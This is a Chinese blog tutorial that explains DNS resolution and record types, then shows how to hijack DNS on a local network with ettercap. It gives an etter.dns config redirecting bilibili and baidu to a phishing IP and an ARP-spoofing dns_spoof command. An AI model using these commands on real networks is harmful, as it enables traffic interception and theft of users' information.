網路安全(一)主動進攻之DNS基礎和ettercap實現DNS流量劫持

2022-10-10 06:02:21

alittlemc,個人原創,個人理解和觀點。若有錯誤、不理解請與我聯絡,謝謝!

  • 介紹了DNS的解析過程。
  • DNS劫持的思路和實踐。

DNS

域名

以為live.bilibili.com為例子,從後到前依次為頂級(一級)域名com、二級域名bilibili,三級域名live。www是特殊的標示代表主機,有一些域名再長點,就繼續四級域名、五級域名加下去。

  • 其實在頂級域名後還有一個根域寫作.(英文句號)www.bilibili.com.
  • 頂級域名一般代表具有一定性質的網站,com商業、cn中國、gov政府機構等等
  • 二級域名代表具體的網頁名稱所以主體
  • 三級域名就是更細的劃分,比如teiba.baidu.com
  • www是個特殊代表主機

DNS概述

DNS(Domain Name System,域名系統),DNS簡單來說就是已知域名求IP的服務。在TCP/IP協定下的網路中,裝置之間通訊都是用網路層的IP作目標標識的,但是存取網頁我們往往通過域名來存取,比如bilibili對應的IP解析為119.3.70.188,https://bilibili.com比如https://119.3.70.188都可以開啟bilibili站點,但是IP地址不是每個人都能很好的記憶的,更何況將來如果IPv6廣泛應用了(如圖1所示),所以是DNS一項很重要的技術。

圖1.www.bilibili.com解析出的IPv6地址

DNS服務在提供域名解析額同時,還為伺服器提供負載均衡,IP優化域名優化的效果。

  • DNS一條域名可以解析出多條IP結果,這些IP對應提供相同的服務但是位置不同的伺服器,將不同的IP返回給使用者,不至於讓某臺伺服器壓力太大。
  • 有一些高階的DNS伺服器會客戶的運營商提供較優的IP,比如在廣西存取廣東的IP往往比存取北京的來得更快些。

  圖2.bilibili.com全部解析結果

DNS解析過程

DNS一開始本機會「先求人不如求己」,先查詢本機DNS存放在記憶體中快取(這快取幾個小時後清除),本機hosts檔案。實在是沒有才會向本機設定的DNS Server發起請求,本機的DNS Server為阿里的223.5.5.5。

DNS使用UDP:53埠(當然也可以使用TCP:53,在較大請求和返回資料的情況下使用,因為UDP報文最大576位元組且後續報文不分片直接丟棄。所以減去UDP報頭,DNS報文資料限制在512位元組內)。UDP的報文很乾淨,一來一回也不需要握手。

  • 在終端輸入NSLOOKUP查詢一下www.bilibili.com,並且抓包:

 

 

 圖3.本機192.168.4.1與DNS Server 223.5.5.5的請求過程

DNS Server接受到任務後會查詢DNS資料庫的,當然「人非聖賢孰能無過」,DNS Server也會查詢不到IP,會再向上游DNS Server發起請求:

  • 遞迴查詢:不知道就問上一級(PC請求Server1時候也屬於遞迴查詢)
  • 迭代查詢:不知道認識的都問一遍

 圖4.本機192.168.4.1與DNS Server 223.5.5.5的請求過程

 DNS查詢記錄

DNS有不同的記錄:

  • A 記錄
    • 域名解析IPv4地址
  • AAAA 記錄
    • 和A 記錄類似,域名解析IPv6 地址
  • PTR記錄
    • IP解析域名,即反向解析,比如nslookup輸入server 223.5.5.5反向解析出了public1.alidns.com

圖5.反向解析

  • CNAME 記錄
    • CNAME 記錄另一個別名域,

圖6.a.w.bilibili.com和www.bilibili.com相同

  • 其他的記錄還有:SOA 記錄還有、MX記錄、NS記錄、TXT記錄、SRV記錄、APL記錄、CAA記錄、DNAME記錄 等等。太多啦,不在本次的討論範圍啦。

基於ettercap實現DNS劫持

完成思路

溫馨提示:DNS劫持是違法的,請不要以身試法(一般情況我們稱駭客 為小黑子香精撈飯)

  1. 搭建假的DNS Server提供可以自定義DNS解析條件,基於ettrcap使用自帶的/etc/ettercap/etter.dns
  2. 搭建假的釣魚網站,其IP由假的DNS伺服器提供,當然也可以搭建某些中轉的網站,比如某個編寫了惡意指令碼的站點,使用者開啟後GET 其URL,再執行指令碼後跳轉。(相比於近似發,taobao.com和ta0ba0.com,DNS可以讓正確的域名對於錯誤的站點,更隱蔽)
  3. 部署站點:
    • ettercap的基於可arp來實現的,所以只在區域網中使用,用於。
    • 釣魚網站站點可以搭建在區域網內也可以搭建在公網中,具體內容和作用嘛,其實應該有看見過,用於盜取一些個人資訊;設定使用nginx、apache作為中間價,PHP之類作為解析(或者靜態的html,post到動態PHP介面)
  4. 使用ettercap發起攻擊

ettercap的使用

ettercap是基於ARP 地址欺騙來實現中間人攻擊的工具。

可惡我的kali截圖丟了,後面我會補上。

一般情況下完整版的Kali是自帶甚至有圖形介面,

編輯(假DNS請求)/etc/ettercap/etter.dns

# 域名    A    釣魚網站IP
# 比如
# 正向A

www.bilibili.com    A    10.100.10.4
www.baidu.com     A    10.100.10.4

# 反向PRT
www.bilibili.com    PRT    10.100.10.4
www.baidu.com    PRT    10.100.10.4

發起攻擊過程

# 檢視閘道器 網路卡等
root @ localhost in ~ [21:54:10] C:1$ sudo route -n
Kernel IP routing table
Destination Gateway Genmask Flags Metric Ref Use Iface
10.100.10.1 0.0.0.0 255.255.255.192 U 0 0 0 wlan0

---

ettercap -i wlan0 -Tq -M arp:remote -P dns_spoof /被攻擊者ip// /被攻擊者閘道器//
-i <網路卡>:指定網路卡
-T:只顯示文字
-q:安靜模式,不顯示抓到的封包內容
-M <攻擊方式>:執行中間人攻擊,這裡的arp:remote為arp欺騙
-P <外掛名>:使用的外掛,這裡使用dns_spoof即可dns欺騙外掛
ettercap -i wlan0 -Tq -M arp:remote -P dns_spoof /10.100.10.120// /10.100.10.1//

--

今天先寫這麼多啦,好睏啊,今天早點休息吧。